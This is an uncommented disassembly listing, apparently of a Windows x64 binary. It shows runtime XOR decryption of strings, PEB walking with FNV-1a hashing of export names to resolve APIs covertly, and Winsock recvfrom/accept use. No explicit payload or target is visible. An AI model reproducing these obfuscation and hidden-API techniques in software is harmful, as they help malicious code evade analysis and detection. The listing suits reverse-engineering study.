pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400eee00]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm2, xmm0
movd dword [rcx + 4], xmm2
add edx, 8
lea rcx, [rcx + 8]
cmp edx, 0x10
jl 0x140009b30
jmp 0x140009c73
mov r9, r10
mov r8d, r15d
nop dword [rax + rax]
mov eax, 0xa0a0a0a1
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x33
movzx eax, r8b
sub al, cl
add al, 0x35
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x10
jl 0x140009c40
mov qword [rsp + 0x28], r15
mov qword [rsp + 0x20], r15
mov r9d, 0x8000
mov r8d, reloc.WS2_32.dll_recvfrom
lea rdx, [0x1401034a8]
mov rcx, r10
call fcn.140062bd0
call fcn.1400613c0
movaps xmm2, xmm9
movaps xmm1, xmm10
lea rcx, [rbp + 0x400]
call fcn.1400020f0
mov rbx, rax
lea rdx, [rbp + 0x78]
lea rcx, [rbp + 0x11a]
call fcn.1400109d0
movzx ecx, byte [rax + 5]
test cl, cl
je 0x140009ce5
xor byte [rax], 0x35
xor byte [rax + 1], 0x36
xor byte [rax + 2], 0x37
xor byte [rax + 3], 0x38
xor byte [rax + 4], 0x39
xor cl, 0x3a
mov byte [rax + 5], cl
mov rdx, rbx
mov rcx, rax
call fcn.1400600f0
test al, al
je 0x14000a1b1
lea rax, [rbp + 0xb8]
mov qword [rbp + 0x720], rax
lea rdx, [0x1401034a8]
lea rcx, [rbp + 0xb8]
call fcn.140012920
mov rbx, rax
lea rdx, [0x1401034d8]
lea rcx, [rbp + 0x140]
call fcn.140012920
nop
mov r8, rbx
mov rdx, rax
lea rcx, [0x140103610]
call fcn.14007cf20
cmp byte [0x140103820], 0
je 0x14000a096
lea rax, [rbp + 0xb8]
mov qword [rbp + 0x720], rax
lea rdx, [0x1401034a8]
lea rcx, [rbp + 0xb8]
call fcn.140012920
mov r14, rax
lea rax, [rbp + 0x140]
mov qword [rbp + 0x400], rax
mov qword [rbp + 0x1a0], r13
mov qword [rbp + 0x1a8], rdi
mov qword [rbp + 0x740], rsi
mov qword [rbp + 0x748], rdi
movdqa xmm0, xmmword [rbp + 0x740]
xorps xmm0, xmmword [rbp + 0x1a0]
movdqa xmmword [rbp + 0x1a0], xmm0
lea rdx, [rbp + 0x1a0]
lea rcx, [rbp + 0x140]
call fcn.140012920
mov rsi, rax
lea rax, [rbp + 0x260]
mov qword [rbp + 0xb0], rax
lea rdx, [0x1401034d8]
lea rcx, [rbp + 0x260]
call fcn.140012920
mov rdi, rax
lea rax, [rbp + 0x290]
mov qword [rbp + 0x1f8], rax
movabs rax, 0x34e898f35554b510
mov qword [rbp + 0x190], rax
movabs rax, 0xfdfb4b50e4b6385e
mov qword [rbp + 0x198], rax
movabs rcx, 0x5185f99d2731c665
mov qword [rbp + 0x750], rcx
mov qword [rbp + 0x758], rax
movdqa xmm0, xmmword [rbp + 0x750]
xorps xmm0, xmmword [rbp + 0x190]
movdqa xmmword [rbp + 0x190], xmm0
lea rdx, [rbp + 0x190]
lea rcx, [rbp + 0x290]
call fcn.140012920
mov rbx, rax
movabs rax, 0x38f18df8546dfc26
mov qword [rbp + 0x3e0], rax
movabs rax, 0x9394383acac55f30
mov qword [rbp + 0x3e8], rax
movabs rcx, 0x42d986f3e048d4a7
mov qword [rbp + 0x3f0], rcx
movabs rdx, 0xe9f254064b874a10
mov qword [rbp + 0x3f8], rdx
movabs rax, 0x5185f99d2731c665
mov qword [rbp + 0x700], rax
movabs rax, 0xfdfb4b50e4b6385e
mov qword [rbp + 0x708], rax
mov qword [rbp + 0x710], rcx
mov qword [rbp + 0x718], rdx
vmovdqu ymm0, ymmword [rbp + 0x3e0]
vpxor ymm1, ymm0, ymmword [rbp + 0x700]
vmovdqa ymmword [rbp + 0x3e0], ymm1
lea rdx, [rbp + 0x3e0]
lea rcx, [rbp + 0x408]
vzeroupper
call fcn.140012920
nop
mov qword [rsp + 0x28], r14
mov qword [rsp + 0x20], rsi
mov r9b, 1
mov r8, rdi
mov rdx, rbx
mov rcx, rax
call fcn.1400056e0
mov rdi, qword [0x140103470]
test rdi, rdi
jne 0x140009fe7
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov rsi, qword [rax]
mov rdi, rsi
nop dword [rax + rax]
mov r9, qword [rdi + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov ebx, dword [rax + r9 + 0x88]
add rbx, r9
cmp rbx, r9
je 0x140009fc7
mov r8d, dword [rbx + 0x18]
test r8d, r8d
je 0x140009fc7
mov r11d, dword [rbx + 0x20]
nop word [rax + rax]
dec r8d
lea rax, [r11 + r8*4]
mov ecx, dword [rax + r9]
add rcx, r9
mov edx, 0x811c9dc5
movzx eax, byte [rcx]
inc rcx
test al, al
je 0x140009fc2
nop dword [rax]
movsx eax, al
xor eax, edx
imul edx, eax, 0x1000193
movzx eax, byte [rcx]
lea rcx, [rcx + 1]
test al, al
jne 0x140009fa0
cmp edx, 0x23a979e4
je 0x14000a07a
test r8d, r8d
jne 0x140009f80
mov rax, qword [rdi]
mov rdi, rax
cmp rax, rsi
je 0x140009fdd
cmp qword [rax + 0x30], 0
jne 0x140009f50
mov rdi, r15
mov qword [0x140103470], rdi
lea rdx, [rbp + 0x1e0]
lea rcx, [rbp + 0x118]
call fcn.140010a20
mov rbx, rax
movzx eax, byte [rax + 4]
test al, al
je 0x14000a019
xor byte [rbx], 0x35
xor byte [rbx + 1], 0x36
xor byte [rbx + 2], 0x37
xor byte [rbx + 3], 0x38
xor al, 0x39
mov byte [rbx + 4], al
lea rdx, [rbp + 0x220]
lea rcx, [rbp + 0x9e]
call fcn.1400109f0
movzx ecx, byte [rax + 0xa]
test cl, cl
je 0x14000a061
xor byte [rax], 0x35
xor byte [rax + 1], 0x36
xor byte [rax + 2], 0x37
xor byte [rax + 3], 0x38
xor byte [rax + 4], 0x39
xor byte [rax + 5], 0x3a
xor byte [rax + 6], 0x3b
xor byte [rax + 7], 0x3c
xor byte [rax + 8], 0x3d
xor byte [rax + 9], 0x3e
xor cl, 0x3f
mov byte [rax + 0xa], cl
xor r9d, r9d
mov r8, rbx
mov rdx, rax
xor ecx, ecx
call rdi
mov byte [0x140103484], 1
jmp 0x14000a1b1
mov ecx, dword [rbx + 0x1c]
add rcx, r9
mov eax, dword [rbx + 0x24]
add rax, r9
movzx eax, word [rax + r8*2]
mov edi, dword [rcx + rax*4]
add rdi, r9
jmp 0x140009fe0
mov rdi, qword [0x140103470]
test rdi, rdi
jne 0x14000a157
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov rsi, qword [rax]
mov rdi, rsi
nop dword [rax]
mov r9, qword [rdi + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov ebx, dword [rax + r9 + 0x88]
add rbx, r9
cmp rbx, r9
je 0x14000a137
mov r8d, dword [rbx + 0x18]
test r8d, r8d
je 0x14000a137
mov r11d, dword [rbx + 0x20]
nop word [rax + rax]
dec r8d
lea rax, [r9 + r8*4]
mov ecx, dword [rax + r11]
add rcx, r9
mov edx, 0x811c9dc5
movzx eax, byte [rcx]
inc rcx
test al, al
je 0x14000a132
nop dword [rax]
movsx eax, al
xor eax, edx
imul edx, eax, 0x1000193
movzx eax, byte [rcx]
lea rcx, [rcx + 1]
test al, al
jne 0x14000a110
cmp edx, 0x23a979e4
je 0x14000a29c
test r8d, r8d
jne 0x14000a0f0
mov rax, qword [rdi]
mov rdi, rax
cmp rax, rsi
je 0x14000a14d
cmp qword [rax + 0x30], 0
jne 0x14000a0c0
mov rdi, r15
mov qword [0x140103470], rdi
lea rdx, [rbp + 0x1e0]
lea rcx, [rbp + 0x9e]
call fcn.140010a40
mov rbx, rax
movzx eax, byte [rax + 5]
test al, al
je 0x14000a18d
xor byte [rbx], 0x35
xor byte [rbx + 1], 0x36
xor byte [rbx + 2], 0x37
xor byte [rbx + 3], 0x38
xor byte [rbx + 4], 0x39
xor al, 0x3a
mov byte [rbx + 5], al
lea rcx, [0x140103828]
call fcn.1400127c0
xor r9d, r9d
mov r8, rbx
mov rdx, rax
xor ecx, ecx
call rdi
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
movss xmm1, dword [0x1400eec00]
xorps xmm0, xmm0
call fcn.140033dc0
movaps xmm2, xmm9
movaps xmm1, xmm10
lea rcx, [rbp + 0x200]
call fcn.1400020f0
mov rbx, rax
lea rdx, [rbp + 0x110]
lea rcx, [rbp + 0x10a]
call fcn.140010a60
movzx ecx, byte [rax + 6]
test cl, cl
je 0x14000a210
xor byte [rax], 0x35
xor byte [rax + 1], 0x36
xor byte [rax + 2], 0x37
xor byte [rax + 3], 0x38
xor byte [rax + 4], 0x39
xor byte [rax + 5], 0x3a
xor cl, 0x3b
mov byte [rax + 6], cl
mov rdx, rbx
mov rcx, rax
call fcn.1400600f0
test al, al
je 0x14000a229
mov dword [0x1401034a4], 2
movaps xmm2, xmm9
movss xmm1, dword [0x1400eec8c]
lea rcx, [rbp + 0x1b0]
call fcn.1400020f0
mov rbx, rax
lea rdx, [rbp + 0x30]
lea rcx, [rbp + 0xf7]
call fcn.140010a90
movzx ecx, byte [rax + 8]
test cl, cl
je 0x14000a281
xor byte [rax], 0x35
xor byte [rax + 1], 0x36
xor byte [rax + 2], 0x37
xor byte [rax + 3], 0x38
xor byte [rax + 4], 0x39
xor byte [rax + 5], 0x3a
xor byte [rax + 6], 0x3b
xor byte [rax + 7], 0x3c
xor cl, 0x3d
mov byte [rax + 8], cl
mov rdx, rbx
mov rcx, rax
call fcn.1400600f0
test al, al
je 0x14000a2b8
mov dword [0x1401034a4], 1
jmp 0x14000a2c7
mov ecx, dword [rbx + 0x1c]
add rcx, r9
mov eax, dword [rbx + 0x24]
add rax, r9
movzx eax, word [rax + r8*2]
mov edi, dword [rcx + rax*4]
add rdi, r9
jmp 0x14000a150
mov eax, dword [0x1401034a4]
cmp eax, 1
jne 0x14000b8d0
lea rdx, [rbp + 0x1f4]
lea rcx, [rbp + 0x109]
call fcn.140010960
movzx ecx, byte [rax + 1]
test cl, cl
je 0x14000a2eb
xor byte [rax], 0x35
xor cl, 0x36
mov byte [rax + 1], cl
mov r8d, Ordinal_301
lea rdx, reloc.WS2_32.dll_accept
mov rcx, rax
call fcn.14002f640
lea rdx, [rbp + 0x40]
lea rcx, [rbp + 0x108]
call fcn.140010970
movzx ecx, byte [rax + 9]
test cl, cl
je 0x14000a341
xor byte [rax], 0x35
xor byte [rax + 1], 0x36
xor byte [rax + 2], 0x37
xor byte [rax + 3], 0x38
xor byte [rax + 4], 0x39
xor byte [rax + 5], 0x3a
xor byte [rax + 6], 0x3b
xor byte [rax + 7], 0x3c
xor byte [rax + 8], 0x3d
xor cl, 0x3e
mov byte [rax + 9], cl
mov rcx, rax
call fcn.14005f4f0
lea rdx, [rbp + 0x3e0]
lea rcx, [rbp + 0x11e]
call fcn.140010ab0
mov r10, rax
cmp byte [rax + 0x10], 0
je 0x14000a513
mov r8d, r15d
cmp r12d, 2
jl 0x14000a4cb
movdqa xmm5, xmmword [0x1400eed60]
movdqa xmm4, xmmword [0x1400eef50]
mov eax, 5
movd xmm6, eax
movdqa xmm7, xmmword [0x1400eed90]
mov eax, Ordinal_35
movd xmm8, eax
movdqa xmm0, xmmword [0x1400eee20]
movdqa xmmword [rbp + 0x10], xmm0
mov rcx, r10
mov edx, dword [rbp + 0x10]
nop dword [rax]
nop dword [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400eee00]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400eee00]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm2, xmm0
movd dword [rcx + 4], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x10
jl 0x14000a3c0
cmp r8d, 0x11
jge 0x14000a513
movsxd r9, r8d
add r9, r10
nop dword [rax]
nop word [rax + rax]
mov eax, 0xa0a0a0a1
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x33
movzx eax, r8b
sub al, cl
add al, 0x35
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x11
jl 0x14000a4e0
mov qword [rsp + 0x28], r15
mov qword [rsp + 0x20], r15
xor r9d, r9d
lea r8d, [r9 + 0x11]
lea rdx, [0x1401034d8]
mov rcx, r10
call fcn.140062bd0
lea rdx, [rbp + 0x210]
lea rcx, [rbp + 0xff]
call fcn.1400109a0
movzx ecx, byte [rax + 9]
test cl, cl
je 0x14000a577
xor byte [rax], 0x35
xor byte [rax + 1], 0x36
xor byte [rax + 2], 0x37
xor byte [rax + 3], 0x38
xor byte [rax + 4], 0x39
xor byte [rax + 5], 0x3a
xor byte [rax + 6], 0x3b
xor byte [rax + 7], 0x3c
xor byte [rax + 8], 0x3d
xor cl, 0x3e
mov byte [rax + 9], cl
mov rcx, rax
call fcn.14005f4f0
lea rdx, [rbp + 0x3e0]
lea rcx, [rbp + 0xfe]
call fcn.140010ad0
mov r10, rax
cmp byte [rax + 0x10], 0
je 0x14000a743
mov r8d, r15d
cmp r12d, 2
jl 0x14000a6fb
movdqa xmm5, xmmword [0x1400eed60]
movdqa xmm4, xmmword [0x1400eef50]
mov eax, 5
movd xmm6, eax
movdqa xmm7, xmmword [0x1400eed90]
mov eax, Ordinal_35
movd xmm8, eax
movdqa xmm0, xmmword [0x1400eee20]
movdqa xmmword [rbp + 0x10], xmm0
mov rcx, r10
mov edx, dword [rbp + 0x10]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400eee00]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400eee00]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm2, xmm0
movd dword [rcx + 4], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x10
jl 0x14000a5f0
cmp r8d, 0x11
jge 0x14000a743
movsxd r9, r8d
add r9, r10
nop dword [rax]
nop word [rax + rax]
mov eax, 0xa0a0a0a1
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x33
movzx eax, r8b
sub al, cl
add al, 0x35
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x11
jl 0x14000a710
mov qword [rsp + 0x28], r15
mov qword [rsp + 0x20], r15
mov r9d, 0x8000
mov r8d, reloc.WS2_32.dll_recvfrom
lea rdx, [0x1401034a8]
mov rcx, r10
call fcn.140062bd0
lea rdx, [rbp + 0x3e0]
lea rcx, [rbp + 0xfd]
call fcn.140010af0
mov r10, rax
cmp byte [rax + 0x11], 0
je 0x14000a933
mov r8d, r15d
cmp r12d, 2
jl 0x14000a8eb
movdqa xmm5, xmmword [0x1400eed60]
movdqa xmm4, xmmword [0x1400eef50]
mov eax, 5
movd xmm6, eax
movdqa xmm7, xmmword [0x1400eed90]
mov eax, Ordinal_35
movd xmm8, eax
movdqa xmm0, xmmword [0x1400eee20]
movdqa xmmword [rbp + 0x10], xmm0
mov rcx, r10
mov edx, dword [rbp + 0x10]
nop dword [rax]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400eee00]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400eee00]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm2, xmm0
movd dword [rcx + 4], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x10
jl 0x14000a7e0
cmp r8d, 0x12
jge 0x14000a933
movsxd r9, r8d
add r9, r10
nop dword [rax]
nop word [rax + rax]
mov eax, 0xa0a0a0a1
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x33
movzx eax, r8b
sub al, cl
add al, 0x35
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x12
jl 0x14000a900
mov rcx, r10
call fcn.14005f4f0
lea rdx, [rbp + 0x3e0]
lea rcx, [rbp + 0x11b]
call fcn.140010b10
mov r10, rax
cmp byte [rax + 0x10], 0
je 0x14000ab03
mov r8d, r15d
cmp r12d, 2
jl 0x14000aabb
movdqa xmm5, xmmword [0x1400eed60]
movdqa xmm4, xmmword [0x1400eef50]
mov eax, 5
movd xmm6, eax
movdqa xmm7, xmmword [0x1400eed90]
mov eax, Ordinal_35
movd xmm8, eax
movdqa xmm0, xmmword [0x1400eee20]
movdqa xmmword [rbp + 0x10], xmm0
mov rcx, r10
mov edx, dword [rbp + 0x10]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400eee00]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400eee00]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm2, xmm0
movd dword [rcx + 4], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x10
jl 0x14000a9b0
cmp r8d, 0x11
jge 0x14000ab03
movsxd r9, r8d
add r9, r10
nop dword [rax]
nop word [rax + rax]
mov eax, 0xa0a0a0a1
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x33
movzx eax, r8b
sub al, cl
add al, 0x35
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x11
jl 0x14000aad0
mov qword [rsp + 0x28], r15
mov qword [rsp + 0x20], r15
mov r9d, 0x8000
mov r8d, reloc.WS2_32.dll_recvfrom
lea rbx, [0x1401034c0]
mov rdx, rbx
mov rcx, r10
call fcn.140062bd0
lea rdx, [rbp + 0x1d0]
lea rcx, [rbp + 0xfb]
call fcn.140010b30
mov r10, rax
cmp byte [rax + 0xc], 0
je 0x14000acb3
mov r8d, r15d
cmp r12d, 2
jl 0x14000ac6c
movdqa xmm4, xmmword [0x1400eef50]
mov eax, 5
movd xmm5, eax
mov eax, Ordinal_35
movd xmm6, eax
movdqa xmm2, xmmword [0x1400eed60]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm5
movdqa xmm0, xmm1
psrld xmm0, xmm6
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1400eed90]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400eee00]
packuswb xmm2, xmm2
mov eax, dword [0x1400eee20]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [r10]
xorps xmm2, xmm0
movd dword [r10], xmm2
movdqa xmm3, xmmword [0x1400eed80]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, xmm5
movdqa xmm0, xmm1
psrld xmm0, xmm6
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1400eed90]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400eee00]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [r10 + 4]
xorps xmm2, xmm0
movd dword [r10 + 4], xmm2
mov r8d, 8
movsxd r9, r8d
add r9, r10
nop dword [rax]
nop word [rax + rax]
mov eax, 0xa0a0a0a1
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x33
movzx eax, r8b
sub al, cl
add al, 0x35
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xd
jl 0x14000ac80
mov rcx, r10
call fcn.14005f4f0
lea rdx, [rbp + 0x230]
lea rcx, [rbp + 0xfa]
call fcn.140010b60
movzx ecx, byte [rax + 0xa]
test cl, cl
je 0x14000ad03
xor byte [rax], 0x35
xor byte [rax + 1], 0x36
xor byte [rax + 2], 0x37
xor byte [rax + 3], 0x38
xor byte [rax + 4], 0x39
xor byte [rax + 5], 0x3a
xor byte [rax + 6], 0x3b
xor byte [rax + 7], 0x3c
xor byte [rax + 8], 0x3d
xor byte [rax + 9], 0x3e
xor cl, 0x3f
mov byte [rax + 0xa], cl
mov qword [rsp + 0x28], r15
mov qword [rsp + 0x20], r15
mov r9d, 0x8000
mov r8d, Ordinal_26
lea rdx, [0x140103488]
mov rcx, rax
call fcn.140062bd0
call fcn.1400613c0
movaps xmm2, xmm9
movaps xmm1, xmm10
lea rcx, [rbp + 0x6f0]
call fcn.1400020f0
mov rdi, rax
lea rdx, [rbp + 0x300]
lea rcx, [rbp + 0xf9]
call fcn.140010a90
movzx ecx, byte [rax + 8]
test cl, cl
je 0x14000ad84
xor byte [rax], 0x35
xor byte [rax + 1], 0x36
xor byte [rax + 2], 0x37
xor byte [rax + 3], 0x38
xor byte [rax + 4], 0x39
xor byte [rax + 5], 0x3a
xor byte [rax + 6], 0x3b
xor byte [rax + 7], 0x3c
xor cl, 0x3d
mov byte [rax + 8], cl
mov rdx, rdi
mov rcx, rax
call fcn.1400600f0
test al, al
je 0x14000b6eb
lea rax, [0x1401034a8]
sub rbx, rax
movzx edx, byte [rax]
movzx ecx, byte [rax + rbx]
sub edx, ecx
jne 0x14000adb3
inc rax
test ecx, ecx
jne 0x14000ada1
test edx, edx
je 0x14000b0a1
mov rdi, qword [0x140103470]
test rdi, rdi
jne 0x14000ae87
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov rsi, qword [rax]
mov rdi, rsi
nop dword [rax]
nop word [rax + rax]
mov r9, qword [rdi + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov ebx, dword [rax + r9 + 0x88]
add rbx, r9
cmp rbx, r9
je 0x14000ae67
mov r8d, dword [rbx + 0x18]
test r8d, r8d
je 0x14000ae67
mov r11d, dword [rbx + 0x20]
nop word [rax + rax]
dec r8d
lea rax, [r9 + r8*4]
mov ecx, dword [rax + r11]
add rcx, r9
mov edx, 0x811c9dc5
movzx eax, byte [rcx]
inc rcx
test al, al
je 0x14000ae62
nop dword [rax]
movsx eax, al
xor eax, edx
imul edx, eax, 0x1000193
movzx eax, byte [rcx]
lea rcx, [rcx + 1]
test al, al
jne 0x14000ae40
cmp edx, 0x23a979e4
je 0x14000b085
test r8d, r8d
jne 0x14000ae20
mov rax, qword [rdi]
mov rdi, rax
cmp rax, rsi
je 0x14000ae7d
cmp qword [rax + 0x30], 0
jne 0x14000adf0
mov rdi, r15
mov qword [0x140103470], rdi
lea rdx, [rbp + 0x24]
lea rcx, [rbp + 0x9d]
call fcn.140010a40
mov rbx, rax
movzx eax, byte [rax + 5]
test al, al
je 0x14000aeba
xor byte [rbx], 0x35
xor byte [rbx + 1], 0x36
xor byte [rbx + 2], 0x37
xor byte [rbx + 3], 0x38
xor byte [rbx + 4], 0x39
xor al, 0x3a
mov byte [rbx + 5], al
lea rdx, [rbp + 0x3e0]
lea rcx, [rbp + 0x21]
call fcn.140010b90
mov r10, rax
cmp byte [rax + 0x15], 0
je 0x14000b073
mov r8d, r15d
cmp r12d, 2
jl 0x14000b02d
movdqa xmm5, xmmword [0x1400eed60]
movdqa xmm4, xmmword [0x1400eef50]
mov eax, 5
movd xmm6, eax
movdqa xmm7, xmmword [0x1400eed90]
mov eax, Ordinal_35
movd xmm8, eax
movdqa xmm0, xmmword [0x1400eee20]
movdqa xmmword [rbp + 0x10], xmm0
mov rcx, r10
